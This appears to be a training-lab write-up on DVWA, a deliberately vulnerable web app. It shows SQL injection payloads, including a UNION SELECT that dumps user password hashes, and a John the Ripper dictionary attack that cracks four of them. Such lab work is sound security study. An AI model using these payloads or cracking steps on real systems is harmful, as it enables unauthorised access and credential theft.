


PASSWORD CRACKING



Home

Instructions

Setup

Brute Force

Command Execution

CSRF

File Inclusion

SQL Injection

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

DVWA Security

PHP Info

About

Logout

Vulnerability: SQL Injection

User ID:

Submit

ID: 1' OR '1'='1
First name: admin
Surname: admin

ID: 1' OR '1'='1
First name: Gordon
Surname: Brown

ID: 1' OR '1'='1
First name: Hack
Surname: Me

ID: 1' OR '1'='1
First name: Pablo
Surname: Picasso

ID: 1' OR '1'='1
First name: Bob
Surname: Smith

More info

<http://www.securiteam.com/securityreviews/5DP0N1P76E.html>
http://en.wikipedia.org/wiki/SQL_injection
<http://www.unixwiz.net/techtips/sql-injection.html>

Username: admin
Security Level: low
PHPIDS: disabled

View Source

View Help

Vulnerability: SQL Injection

User ID:

Submit

ID: 1 'OR' 1 '=' 1 'UNION SELECT user, password FROM users#
First name: admin
Surname: admin

ID: 1 'OR' 1 '=' 1 'UNION SELECT user, password FROM users#
First name: Gordon
Surname: Brown

ID: 1 'OR' 1 '=' 1 'UNION SELECT user, password FROM users#
First name: Hack
Surname: Me

ID: 1 'OR' 1 '=' 1 'UNION SELECT user, password FROM users#
First name: Pablo
Surname: Picasso

ID: 1 'OR' 1 '=' 1 'UNION SELECT user, password FROM users#
First name: Bob
Surname: Smith

ID: 1 'OR' 1 '=' 1 'UNION SELECT user, password FROM users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1 'OR' 1 '=' 1 'UNION SELECT user, password FROM users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: 1 'OR' 1 '=' 1 'UNION SELECT user, password FROM users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1 'OR' 1 '=' 1 'UNION SELECT user, password FROM users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1 'OR' 1 '=' 1 'UNION SELECT user, password FROM users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

More info

Attacco a dizionario.

Creo un file .txt sul desktop contenente i 5 hash trovati e utilizzando il tool JOHN THE RIPPER, conduco un attacco a dizionario.

```
(kali㉿kali)-[~]
$ john --format=raw-md5 --wordlist /usr/share/wordlists/rockyou.txt ./Desktop/hash.txt
stat: /usr/share/wordlists/rockyou.txt: No such file or directory

(kali㉿kali)-[~]
$ john --format=raw-md5 --wordlist /usr/share/wordlists/rockyou.txt ./Desktop/hash.txt
Warning: invalid UTF-8 seen reading /usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 55 password hashes with no different salts (Raw-MD5 [MD5 128/128 SSE2 4x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Proceeding with wordlist:/usr/share/john/password.lst
Press 'q' or Ctrl-C to abort, almost any other key for status
password      (?)
abc123        (?)
letmein       (?)
emerald       (?)
4g 0:00:00:00 DONE (2024-02-07 16:29) 100.0g/s 88650p/s 88650c/s 4559KC/s !@#%$..sss
Warning: passwords printed above might not be all those cracked
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

(kali㉿kali)-[~]
$ john --format=raw-md5 --show ./Desktop/hash.txt
?:password
?:abc123
?:letmein
?:password

4 password hashes cracked, 1 left
```